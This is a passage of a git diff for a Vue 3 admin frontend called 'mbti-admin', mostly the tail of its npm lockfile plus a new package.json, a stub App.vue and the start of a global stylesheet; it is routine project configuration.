+ "resolved": "https://registry.npmmirror.com/normalize-wheel-es/-/normalize-wheel-es-1.2.0.tgz", + "integrity": "sha512-Wj7+EJQ8mSuXr2iWfnujrimU35R2W4FAErEyTmJoJ7ucwTn2hOUSsRehMb5RSYkxXGTM7Y9QpvPmp++w5ftoJw==", + "license": "BSD-3-Clause" + }, + "node_modules/path-browserify": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-browserify/-/path-browserify-1.0.1.tgz", + "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pinia": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/pinia/-/pinia-2.3.1.tgz", + "integrity": "sha512-khUlZSwt9xXCaTbbxFYBKDc/bWAGWJjOgvxETwkTN7KRm66EeT1ZdZj6i2ceh9sP2Pzqsbc704r2yngBrxBVug==", + "license": "MIT", + "dependencies": { + "@vue/devtools-api": "^6.6.3", + "vue-demi": "^0.14.10" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + "peerDependencies": { + "typescript": ">=4.4.4", + "vue": "^2.7.0 || ^3.5.11" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/pkg-types": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/pkg-types/-/pkg-types-1.3.1.tgz", + "integrity": "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "confbox": "^0.1.8", + "mlly": "^1.7.4", + "pathe": "^2.0.1" + } + }, + "node_modules/postcss": { + "version": "8.5.6", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "license": "MIT" + }, + "node_modules/quansync": { + "version": "0.2.11", + "resolved": "https://registry.npmmirror.com/quansync/-/quansync-0.2.11.tgz", + "integrity": "sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/antfu" + }, + { + "type": "individual", + "url": "https://github.com/sponsors/sxzz" + } + ], + "license": "MIT" + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/readdirp": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-4.1.2.tgz", + "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.18.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/resize-detector": { + "version": "0.3.0", + "resolved": "https://registry.npmmirror.com/resize-detector/-/resize-detector-0.3.0.tgz", + "integrity": "sha512-R/tCuvuOHQ8o2boRP6vgx8hXCCy87H1eY9V5imBYeVNyNVpuL9ciReSccLj2gDcax9+2weXy3bc8Vv+NRXeEvQ==", + "license": "MIT" + }, + "node_modules/resolve": { + "version": "1.22.11", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.22.11.tgz", + "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "4.57.1", + "resolved": "https://registry.npmmirror.com/rollup/-/rollup-4.57.1.tgz", + "integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.57.1", + "@rollup/rollup-android-arm64": "4.57.1", + "@rollup/rollup-darwin-arm64": "4.57.1", + "@rollup/rollup-darwin-x64": "4.57.1", + "@rollup/rollup-freebsd-arm64": "4.57.1", + "@rollup/rollup-freebsd-x64": "4.57.1", + "@rollup/rollup-linux-arm-gnueabihf": "4.57.1", + "@rollup/rollup-linux-arm-musleabihf": "4.57.1", + "@rollup/rollup-linux-arm64-gnu": "4.57.1", + "@rollup/rollup-linux-arm64-musl": "4.57.1", + "@rollup/rollup-linux-loong64-gnu": "4.57.1", + "@rollup/rollup-linux-loong64-musl": "4.57.1", + "@rollup/rollup-linux-ppc64-gnu": "4.57.1", + "@rollup/rollup-linux-ppc64-musl": "4.57.1", + "@rollup/rollup-linux-riscv64-gnu": "4.57.1", + "@rollup/rollup-linux-riscv64-musl": "4.57.1", + "@rollup/rollup-linux-s390x-gnu": "4.57.1", + "@rollup/rollup-linux-x64-gnu": "4.57.1", + "@rollup/rollup-linux-x64-musl": "4.57.1", + "@rollup/rollup-openbsd-x64": "4.57.1", + "@rollup/rollup-openharmony-arm64": "4.57.1", + "@rollup/rollup-win32-arm64-msvc": "4.57.1", + "@rollup/rollup-win32-ia32-msvc": "4.57.1", + "@rollup/rollup-win32-x64-gnu": "4.57.1", + "@rollup/rollup-win32-x64-msvc": "4.57.1", + "fsevents": "~2.3.2" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/sass": { + "version": "1.97.3", + "resolved": "https://registry.npmmirror.com/sass/-/sass-1.97.3.tgz", + "integrity": "sha512-fDz1zJpd5GycprAbu4Q2PV/RprsRtKC/0z82z0JLgdytmcq0+ujJbJ/09bPGDxCLkKY3Np5cRAOcWiVkLXJURg==", + "dev": true, + "license": "MIT", + "dependencies": { + "chokidar": "^4.0.0", + "immutable": "^5.0.2", + "source-map-js": ">=0.6.2 <2.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=14.0.0" + }, + "optionalDependencies": { + "@parcel/watcher": "^2.4.1" + } + }, + "node_modules/scule": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/scule/-/scule-1.3.0.tgz", + "integrity": "sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g==", + "dev": true, + "license": "MIT" + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-literal": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/strip-literal/-/strip-literal-2.1.1.tgz", + "integrity": "sha512-631UJ6O00eNGfMiWG78ck80dfBab8X6IVFB51jZK5Icd7XAs60Z5y7QdSd/wGIklnWvRbUNloVzhOKKmutxQ6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "js-tokens": "^9.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tslib": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.3.0.tgz", + "integrity": "sha512-N82ooyxVNm6h1riLCoyS9e3fuJ3AMG2zIZs2Gd1ATcSFjSA23Q0fzjjZeh0jbJvWVDZ0cJT8yaNNaaXHzueNjg==", + "license": "0BSD" + }, + "node_modules/typescript": { + "version": "5.4.5", + "resolved": "https://registry.npmmirror.com/typescript/-/typescript-5.4.5.tgz", + "integrity": "sha512-vcI4UpRgg81oIRUFwR0WSIHKt11nJ7SAVlYNIu+QpqeyXP+gpQJy/Z4+F0aGxSE4MqwjyXvW/TzgkLAx2AGHwQ==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/ufo": { + "version": "1.6.3", + "resolved": "https://registry.npmmirror.com/ufo/-/ufo-1.6.3.tgz", + "integrity": "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/unimport": { + "version": "3.14.6", + "resolved": "https://registry.npmmirror.com/unimport/-/unimport-3.14.6.tgz", + "integrity": "sha512-CYvbDaTT04Rh8bmD8jz3WPmHYZRG/NnvYVzwD6V1YAlvvKROlAeNDUBhkBGzNav2RKaeuXvlWYaa1V4Lfi/O0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@rollup/pluginutils": "^5.1.4", + "acorn": "^8.14.0", + "escape-string-regexp": "^5.0.0", + "estree-walker": "^3.0.3", + "fast-glob": "^3.3.3", + "local-pkg": "^1.0.0", + "magic-string": "^0.30.17", + "mlly": "^1.7.4", + "pathe": "^2.0.1", + "picomatch": "^4.0.2", + "pkg-types": "^1.3.0", + "scule": "^1.3.0", + "strip-literal": "^2.1.1", + "unplugin": "^1.16.1" + } + }, + "node_modules/unimport/node_modules/confbox": { + "version": "0.2.4", + "resolved": "https://registry.npmmirror.com/confbox/-/confbox-0.2.4.tgz", + "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/unimport/node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/unimport/node_modules/local-pkg": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-1.1.2.tgz", + "integrity": "sha512-arhlxbFRmoQHl33a0Zkle/YWlmNwoyt6QNZEIJcqNbdrsix5Lvc4HyyI3EnwxTYlZYc32EbYrQ8SzEZ7dqgg9A==", + "dev": true, + "license": "MIT", + "dependencies": { + "mlly": "^1.7.4", + "pkg-types": "^2.3.0", + "quansync": "^0.2.11" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/unimport/node_modules/local-pkg/node_modules/pkg-types": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/pkg-types/-/pkg-types-2.3.0.tgz", + "integrity": "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig==", + "dev": true, + "license": "MIT", + "dependencies": { + "confbox": "^0.2.2", + "exsolve": "^1.0.7", + "pathe": "^2.0.3" + } + }, + "node_modules/unplugin": { + "version": "1.16.1", + "resolved": "https://registry.npmmirror.com/unplugin/-/unplugin-1.16.1.tgz", + "integrity": "sha512-4/u/j4FrCKdi17jaxuJA0jClGxB1AvU2hw/IuayPc4ay1XGaJs/rbb4v5WKwAjNifjmXK9PIFyuPiaK8azyR9w==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.14.0", + "webpack-virtual-modules": "^0.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/unplugin-auto-import": { + "version": "0.17.8", + "resolved": "https://registry.npmmirror.com/unplugin-auto-import/-/unplugin-auto-import-0.17.8.tgz", + "integrity": "sha512-CHryj6HzJ+n4ASjzwHruD8arhbdl+UXvhuAIlHDs15Y/IMecG3wrf7FVg4pVH/DIysbq/n0phIjNHAjl7TG7Iw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@antfu/utils": "^0.7.10", + "@rollup/pluginutils": "^5.1.0", + "fast-glob": "^3.3.2", + "local-pkg": "^0.5.0", + "magic-string": "^0.30.10", + "minimatch": "^9.0.4", + "unimport": "^3.7.2", + "unplugin": "^1.11.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@nuxt/kit": "^3.2.2", + "@vueuse/core": "*" + }, + "peerDependenciesMeta": { + "@nuxt/kit": { + "optional": true + }, + "@vueuse/core": { + "optional": true + } + } + }, + "node_modules/unplugin-vue-components": { + "version": "0.26.0", + "resolved": "https://registry.npmmirror.com/unplugin-vue-components/-/unplugin-vue-components-0.26.0.tgz", + "integrity": "sha512-s7IdPDlnOvPamjunVxw8kNgKNK8A5KM1YpK5j/p97jEKTjlPNrA0nZBiSfAKKlK1gWZuyWXlKL5dk3EDw874LQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@antfu/utils": "^0.7.6", + "@rollup/pluginutils": "^5.0.4", + "chokidar": "^3.5.3", + "debug": "^4.3.4", + "fast-glob": "^3.3.1", + "local-pkg": "^0.4.3", + "magic-string": "^0.30.3", + "minimatch": "^9.0.3", + "resolve": "^1.22.4", + "unplugin": "^1.4.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@babel/parser": "^7.15.8", + "@nuxt/kit": "^3.2.2", + "vue": "2 || 3" + }, + "peerDependenciesMeta": { + "@babel/parser": { + "optional": true + }, + "@nuxt/kit": { + "optional": true + } + } + }, + "node_modules/unplugin-vue-components/node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/unplugin-vue-components/node_modules/local-pkg": { + "version": "0.4.3", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.4.3.tgz", + "integrity": "sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/unplugin-vue-components/node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/unplugin-vue-components/node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/vite": { + "version": "5.4.21", + "resolved": "https://registry.npmmirror.com/vite/-/vite-5.4.21.tgz", + "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vscode-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", + "integrity": "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/vue": { + "version": "3.5.28", + "resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.28.tgz", + "integrity": "sha512-BRdrNfeoccSoIZeIhyPBfvWSLFP4q8J3u8Ju8Ug5vu3LdD+yTM13Sg4sKtljxozbnuMu1NB1X5HBHRYUzFocKg==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.28", + "@vue/compiler-sfc": "3.5.28", + "@vue/runtime-dom": "3.5.28", + "@vue/server-renderer": "3.5.28", + "@vue/shared": "3.5.28" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vue-demi": { + "version": "0.14.10", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", + "integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/vue-echarts": { + "version": "6.7.3", + "resolved": "https://registry.npmmirror.com/vue-echarts/-/vue-echarts-6.7.3.tgz", + "integrity": "sha512-vXLKpALFjbPphW9IfQPOVfb1KjGZ/f8qa/FZHi9lZIWzAnQC1DgnmEK3pJgEkyo6EP7UnX6Bv/V3Ke7p+qCNXA==", + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "resize-detector": "^0.3.0", + "vue-demi": "^0.13.11" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.5", + "@vue/runtime-core": "^3.0.0", + "echarts": "^5.4.1", + "vue": "^2.6.12 || ^3.1.1" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + }, + "@vue/runtime-core": { + "optional": true + } + } + }, + "node_modules/vue-echarts/node_modules/vue-demi": { + "version": "0.13.11", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.13.11.tgz", + "integrity": "sha512-IR8HoEEGM65YY3ZJYAjMlKygDQn25D5ajNFNoKh9RSDMQtlzCxtfQjdQgv9jjK+m3377SsJXY8ysq8kLCZL25A==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/vue-router": { + "version": "4.6.4", + "resolved": "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", + "integrity": "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg==", + "license": "MIT", + "dependencies": { + "@vue/devtools-api": "^6.6.4" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + "peerDependencies": { + "vue": "^3.5.0" + } + }, + "node_modules/vue-tsc": { + "version": "2.2.12", + "resolved": "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", + "integrity": "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/typescript": "2.4.15", + "@vue/language-core": "2.2.12" + }, + "bin": { + "vue-tsc": "bin/vue-tsc.js" + }, + "peerDependencies": { + "typescript": ">=5.0.0" + } + }, + "node_modules/vue3-draggable-resizable": { + "version": "1.6.5", + "resolved": "https://registry.npmmirror.com/vue3-draggable-resizable/-/vue3-draggable-resizable-1.6.5.tgz", + "integrity": "sha512-31142E31fGNnq3HKqvmFLSsqIbhck7TyGuQWhUKrDw6DOcGAuRx4ddRjaxvT6fe7dgeKH53qAh+i0ZlWtPLl2g==", + "license": "MIT" + }, + "node_modules/webpack-virtual-modules": { + "version": "0.6.2", + "resolved": "https://registry.npmmirror.com/webpack-virtual-modules/-/webpack-virtual-modules-0.6.2.tgz", + "integrity": "sha512-66/V2i5hQanC51vBQKPH4aI8NMAcBW59FVBs+rC7eGHupMyfn34q7rZIE+ETlJ+XTevqfUhVVBgSUNSW2flEUQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/zrender": { + "version": "5.6.1", + "resolved": "https://registry.npmmirror.com/zrender/-/zrender-5.6.1.tgz", + "integrity": "sha512-OFXkDJKcrlx5su2XbzJvj/34Q3m6PvyCZkVPHGYpcCJ52ek4U/ymZyfuV1nKE23AyBJ51E/6Yr0mhZ7xGTO4ag==", + "license": "BSD-3-Clause", + "dependencies": { + "tslib": "2.3.0" + } + } + } +} diff --git a/admin/package.json b/admin/package.json new file mode 100644 index 0000000..19eda8f --- /dev/null +++ b/admin/package.json @@ -0,0 +1,34 @@ +{ + "name": "mbti-admin", + "version": "1.0.0", + "private": true, + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build", + "preview": "vite preview", + "lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore" + }, + "dependencies": { + "@element-plus/icons-vue": "^2.3.1", + "axios": "^1.6.7", + "dayjs": "^1.11.10", + "echarts": "^5.6.0", + "element-plus": "^2.6.2", + "pinia": "^2.1.7", + "vue": "^3.4.21", + "vue-echarts": "^6.6.9", + "vue-router": "^4.3.0", + "vue3-draggable-resizable": "^1.6.5" + }, + "devDependencies": { + "@vitejs/plugin-vue": "^5.0.4", + "@vue/tsconfig": "^0.5.1", + "sass": "^1.71.1", + "typescript": "~5.4.0", + "unplugin-auto-import": "^0.17.5", + "unplugin-vue-components": "^0.26.0", + "vite": "^5.1.6", + "vue-tsc": "^2.0.6" + } +} diff --git a/admin/src/App.vue b/admin/src/App.vue new file mode 100644 index 0000000..ea3e4c4 --- /dev/null +++ b/admin/src/App.vue @@ -0,0 +1,12 @@ + + + + + + diff --git a/admin/src/assets/main.scss b/admin/src/assets/main.scss new file mode 100644 index 0000000..78dabfe --- /dev/null +++ b/admin/src/assets/main.scss @@ -0,0 +1,107 @@ +/* 全局样式 */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +html, +body, +#app { + height: 100%; + font-family: 